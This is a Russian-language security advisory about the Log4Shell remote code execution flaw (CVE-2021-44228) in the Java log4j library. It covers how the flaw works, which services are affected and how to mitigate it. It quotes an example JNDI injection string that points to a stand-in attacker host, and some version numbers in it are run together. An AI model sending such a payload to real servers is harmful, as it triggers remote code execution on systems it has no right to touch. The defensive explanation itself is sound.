Поиск по сайту:

Критическая уязвимость RCE Zero-Day, обнаруженная в популярной библиотеке ведения журналов Java log4j, затрагивает большую часть Интернета


Критическая уязвимость удаленного выполнения кода была обнаружена в log4j, очень популярном инструменте ведения журнала, используемом в большинстве отраслей. Это чрезвычайно серьезно, затрагивает почти каждый сервер, на котором работает Java, и его очень легко использовать, поэтому вам нужно как можно скорее обновить и смягчить проблему.

Как это работает?

Ошибка, отслеживаемая CVE-2021-44228, вероятно, влияет практически на любое приложение Java, использующее log4j, что немаловажно, учитывая ее повсеместное распространение. Если ваше приложение когда-либо регистрирует строку, отправленную пользователем, оно, вероятно, уязвимо. Что касается эксплойтов, то это один из худших в этом году, поскольку он может быть нацелен практически на любой сервер, на котором работает Java (хотя основной вектор атаки может быть сложнее для современных версий JDK, подробнее об этом ниже).

По сути, эксплойт позволяет злоумышленнику отправить на ваш сервер любую строку, подобную следующей, и если он зарегистрирует ее где-нибудь в вашем приложении, ваш сервер выполнит код, размещенный по этому адресу.

${jndi:ldap://attacker.com/a}

Это работает, потому что при синтаксическом анализе этой уникально отформатированной строки log4j выполняет запрос через интерфейс именования и каталогов Java, который в конечном итоге отправляет запрос на загрузку в произвольную конечную точку. Он загружает и десериализует файл .class небезопасным образом. Поскольку классы Java могут иметь статические инициализаторы, которые запускаются всякий раз, когда класс компилируется и на него ссылаются, это приводит к удаленному выполнению произвольного кода из простой короткой строки. Например, клиент может установить свой пользовательский агент на эту строку или иным образом включить ее в запрос, и когда ваш сервер зарегистрирует ее, это вызовет эксплойт.

Это довольно ужасно, получить идеальные 10 баллов по шкале CVSS.

Это повлияет на многие приложения. Например, Майнкрафт был одним из первых, кто распространил новость и пропатчил эксплойт, так как можно было выполнять код как на серверах, так и на всех игроках, подключенных к серверу, через сообщения внутриигрового чата. Для исправления ошибки было выпущено обновление исправления для игры.

Популярные сервисы, такие как Steam и iCloud, уже признаны уязвимыми, а исследовательская компания GreyNoise уже обнаружила несколько IP-адресов, выполняющих сканирование уязвимых серверов.

@GreyNoise в настоящее время наблюдает, как 2 уникальных IP-адреса сканируют Интернет на наличие новой RCE-уязвимости Apache Log4j (CVE еще не назначена).
Тег для отслеживания этой активности на https://t.co/QckU3An40q будет доступен в ближайшее время. и связан в качестве ответа при выпуске.

— Реми🐀 (@_mattata) 10 декабря 2021 г.

Вероятно, вы уже используете log4j, так как он включен в сотни других библиотек в качестве стандартного инструмента ведения журналов. Однако версии JDK выше 6u2117u2018u191 и 11.0.1 не затрагиваются основным вектор атаки (с использованием LDAP), который используется прямо сейчас. Это не означает, что вы не должны обновляться, так как ошибка в log4j + JNDI по-прежнему серьезна и может быть легко использована и с другими векторами атак.

Как это исправить?

К счастью, уже есть исправление, которое полностью исправляет это, поэтому вам следует обновить свои серверы как можно скорее. Это также влияет на клиентские приложения, которые также необходимо обновить для этого критического исправления. В конце концов, Java работает на 3 миллиардах устройств, так что пройдет некоторое время, прежде чем она будет полностью исправлена.

Эксплойт уже исправлен в последнем выпуске log4j, 2.15.0-rc2, поэтому вам следует обновить его, если сможете. Патч также был перенесен на более ранние версии, учитывая серьезность для пользователей, которые могут застрять на устаревших выпусках.

Если вы используете другую библиотеку, использующую log4j, в большинстве случаев вы все равно должны иметь возможность обновлять вручную, но если вы не можете, вы можете использовать этот флаг JVM, чтобы смягчить проблему, которая просто сообщает log4j никогда не выполнять поиск при форматировании сообщений.

-Dlog4j2.formatMsgNoLookups=true